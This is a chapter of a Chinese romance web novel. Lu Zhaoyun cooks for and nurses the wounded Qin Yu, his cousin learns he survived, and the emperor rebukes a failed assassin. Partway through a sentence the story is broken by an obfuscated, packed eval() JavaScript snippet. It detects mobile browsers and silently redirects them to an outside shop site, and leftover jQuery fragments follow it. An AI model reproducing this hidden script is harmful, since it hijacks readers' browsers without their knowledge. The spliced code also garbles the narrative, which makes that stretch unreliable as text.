薛翡对陆昭云很上心,留下照顾来观察好几日,确认她彻底没了危险才离开。
不过陆昭云也没让她白忙活,四处搜罗,打包家中大半干果糕点塞给她,甚至附赠自己腌制的咸菜泡菜。
嘴馋的人吃啥啥香,薛翡来者不拒,皆笑纳之。磨磨蹭蹭一天,半只脚终于踏出门槛。
“寻了药再来找我,答应我的吃食待你归来再践行承诺吧。”薛翡笑魇如花,摇手道别。“此去山高水远,愿你们一路平安,旅途愉快。”
最后一场梅雨落下,盛夏只余一个尾巴。
仗着底子好,陆昭云恢复的比秦遇更快,她好动惯了,一日闲不下来,只花钱在刘翠兰家订了几天饭食,又开始自己捣鼓美食。
翌日清晨,张大爷早早过来敲门,递给她一个荷叶包。
“你这丫头气色好多了,呐,这是赵屠夫家的排骨,俺赶大早抢的,新鲜得很!”
将她仔细大量一圈,赵大爷眉头的褶皱展开。
“昭丫头,你和小慕多吃点,不够了你大爷再去买。”
请张大爷代买食材,陆昭云事先已经付过食材费和跑路费。
“多谢大爷,大爷您稍等。”她眉眼弯弯,进厨房一趟,端出一碗新做的凉糕。
“凉糕您和刘奶奶一起吃,散最后一点暑气,想再吃这一口,可要来年了。”
张大爷也不推辞,心里记着明日将陆昭云交代的菜品,挑选最好的品质。
空山青雾,鸟语花香。
环顾杏花村,陆昭云回忆起几个月在此处的点滴。
她在村里、镇上遇到很多很好的人,刘奶奶、张大爷、胡大夫和薛翡甚至是常来光顾小食摊马青。他们都真心待她,让她更快地融入这个世界。
很多人世世代代生活在这片土地上,她也怕再待下去会打破宁静,连累他们。
再有不舍,也到了离开的时候。
不过,浮生若梦,今日不忧明日事,陆昭云甩开愁绪,抱起排骨准备大干一场。
接一盆山泉水,将排骨浸泡半个时辰,然后进行第一次清洗,再放入生姜和大料炒水。
片刻后,锅里的水开始沸腾,咕噜咕噜冒泡。陆昭云从灶台抽出一柄木勺,撇去表层浮沫,重复几次后,排骨上的血水彻底祛干净。
此时捞出排骨再次清洗,然后大火热锅,放入葱姜蒜、八角桂皮和先前从行商处买来的辣椒,倒入排骨,快速翻炒几下,煸出香味。
再倒入水没过排骨后,先大火炖煮。
陆昭云坐在灶前打完几个盹,起身揭开锅,倒入切好的山药、莲藕、莲子和绿豆。复回到灶前,伸手抽出几根木柴放入另一个灶孔,埋进炭灰中灭掉余火,转为文火慢炖。
一刻钟后,浓郁肉香混着山药莲藕的清香,一缕一缕窜出来,争先恐后钻入鼻间。
排骨熟了。
门边传来动静,她回头一看,秦遇倚在厨房门口。
这是陆昭云高烧醒来后第一次见清醒的秦遇,她有许多话想说,可话在喉咙滚了几圈,迟迟说不出口,最终只化为一生问候。
“慕风你醒了?头上和手上的伤可有好些?”
“嗯,好多了。”秦遇点头,拄着拐杖沿墙边向她走来。
“别动!”陆昭云眼皮一跳,赶紧制止他,她三步作两步走到门口,扶着他到外面。
“慕风,我说过在我面前,你无需逞强。在桌边坐好便是,马上开饭了。”
说完去收拾碗筷,打饭端菜,没注意到秦遇神情有一瞬低落。
“清汤排骨最是养生,你多吃点。”
饭菜上桌后,陆昭云先给他夹好几块排骨,觉得不够,又挑拣好些配菜放他碗中。秦遇感觉碗里不断加重的份量,心里也沉甸甸的。
他捏紧筷子,夹起一块排骨品尝。
“很香。”
是他吃过最美味的排骨,远胜过往所有宫廷佳肴,山珍海味。
“昭云,你也吃。”
陆昭云自然吃了个肚圆,最后又喝下两碗排骨汤,才作罢。
她抬头观察秦遇,见他还在细嚼慢咽,虽看不到眼神,但他表情虔诚,格外珍视。
“叮。”
系统面板的美食图鉴蓦地亮起一个格子。
陆昭云微愣,忍不住提起唇角。
他是真心认可她的手艺啊。
她感觉自己的美食有被认真对待,心中欢喜。
傍晚,陆昭云拉着秦遇上药,曜曜四脚朝天,翻着肚皮晒月亮,时不时应两声。
陆昭云仔细推开他的手掌,饶是有心理准备,真正看到时,还是感觉心口被重物狠狠敲击一般。
整个掌心被刺划伤,密密麻麻的伤口纵横交错,里层肉翻出来带着血,迟迟没有结痂。
陆昭云轻轻将药膏覆上伤口,生怕用力给他带来二次伤害。
她一边上药,一边眨眼,压下眼角涩意。
“很疼吧。”
秦遇摇头。
“不疼。”
远不及差点失去她的痛苦。
用白纱将他手掌包扎好,陆昭云靠近,开始为他清理额头上的伤口。
药膏微凉,覆在伤口,泛起一丝痒意。秦遇喉结不受控制地滚动,他从未觉得时间那么难熬,那股痒意似乎要钻进心底,深深扎根。
离她很近很近,近到他可以闻到她身上如青柠般的香味。那是他无比熟悉,无数次令他安心的味道。思绪百转千回,秦遇突然想起那夜意外的拥抱。
那么柔软,那么让人贪恋。
秦遇自小被寄予厚望,多是克制和压抑的,鲜少放纵自己的情绪,也不是多愁善感之人。
可自她跌入他怀中,抱了他,却又将此事忘得一干二净,他竟也变得敏感起来,开始患得患失。
他开始更加在意她,比往日更常想起她,怕她在外受到欺负。每日守在门口,期待和她的每一餐。
这是他前半生,从不曾有过的感受。
他想不明白,自己为何这么奇怪。直到那一日,她倒在他面前。
感受到那种他再也不想经历的痛楚,以及差点失去她的恐惧,他方明白......
原来,他早已生了私心。
所以她昏迷时,他一直陪着她,就想她醒来后第一个看见他。
可是......
他的身子太不争气。
秦遇抿紧唇瓣,神色不明。
将他额头包好,陆昭云收好药,起身准备离开。
突
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563570|204626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然感觉衣角被拉住了,身后传来男子清冷的声音。
“疼。”陆昭云脚步一顿,以为自己听错了。
从那语气中,她好像品出了一丝丝委屈。
“昭云,我疼。”他重复道。“你别走。”
陆昭云折回来坐下,端起他的手掌,轻轻吹了吹。
“呼呼就不疼了。”
骗人的,主要起个心理作用。
伤得那么重,也没有止疼药,他怕是还要忍一阵子。
见他难得敞开心扉,流露出脆弱的一面,陆昭云感到意外,却也赞同。
“以后不开心也说出来,人非草木,情绪是需要疏通的。”
今夜月光幽微,陆昭云不知晓的是,在她身旁的秦遇半张脸隐在暗处,面上闪过一丝偏执。
秦遇一直清楚,他骨子里是贪心的,他想要她多在意她,哪怕再小的细节。
南陇徽州。
曲江楼雅间,一个少年郎眉目如画,喝得酩酊大醉。
“表哥。”
他声旁一个白衣男子无奈道:
“子安,都过去多久了,你怎么还没放下。你表哥若是脚程快一点,或许已经喝下孟婆汤投胎了。”
少年郎脸色涨红,抡他一锤子,破防大骂:“放屁!”
“我表哥肯定还活着,他都没有给我托梦......呜呜呜......”他骂着骂着突然哭了起来,甚至开始骂一些危险的话。
“都怪那李邺那狗东西!”白衣男子眼疾手快,迅速捂住他的嘴。
小声在他耳边提醒。
“小祖宗喂,南陇暗中纵是你谢家的地盘,可江山一日未易主,天子名讳便一日不容冒犯,当心隔墙有耳。”
谢临醉酒,又在气头上,哪听得进去。“狗皇帝,狼心狗肺......”白衣男子苏妄手足无措,被逼的实在没招了,慌忙从袖中掏出一物,试图转移他视线。
“你最宝贝的骏马木雕,不是丢了吗?看我为你买的,是不是一模一样。”
听到“木雕”二字,谢临混沌的思绪清明了一瞬,他晃晃头,定睛一看,瞳孔骤缩。
他一把抢过木雕,眼睛死死盯着骏马的尾巴,上面赫然三道线,由浅至深勾勒出箭头的形状。
这个力度,这个标志。
是他。
世人皆知镇国将军骁勇善战、杀伐果断,却不知他表哥秦遇也曾少年意气,练成百步穿杨后也会欢喜,欣然设计独属于自己的图腾。
这是只有他知晓的秘密。
他遗失的骏马木雕,正是他儿时央求表哥所刻,马尾上同样有这个箭头。
表哥真的还活着,谢临泪流满面。
他眼珠迸出血丝,猛地抓住苏妄大力摇晃。
“你在何处寻得它?”
京城勤政殿。
李邺展开一封密信,双眼微眯,扫完上面内容,霍然震怒。
“没用的东西,如此沉不住气。”
下首跪着的黑衣劲装男子猛地磕头,“圣上息怒。”
“呵!还有脸让朕息怒。”李邺眼中划过一道暗光。
“你手底下的人,废物到连一个瞎子都杀不死。祁慎,下次再失手,金吾卫统领的位子,你也别做了!”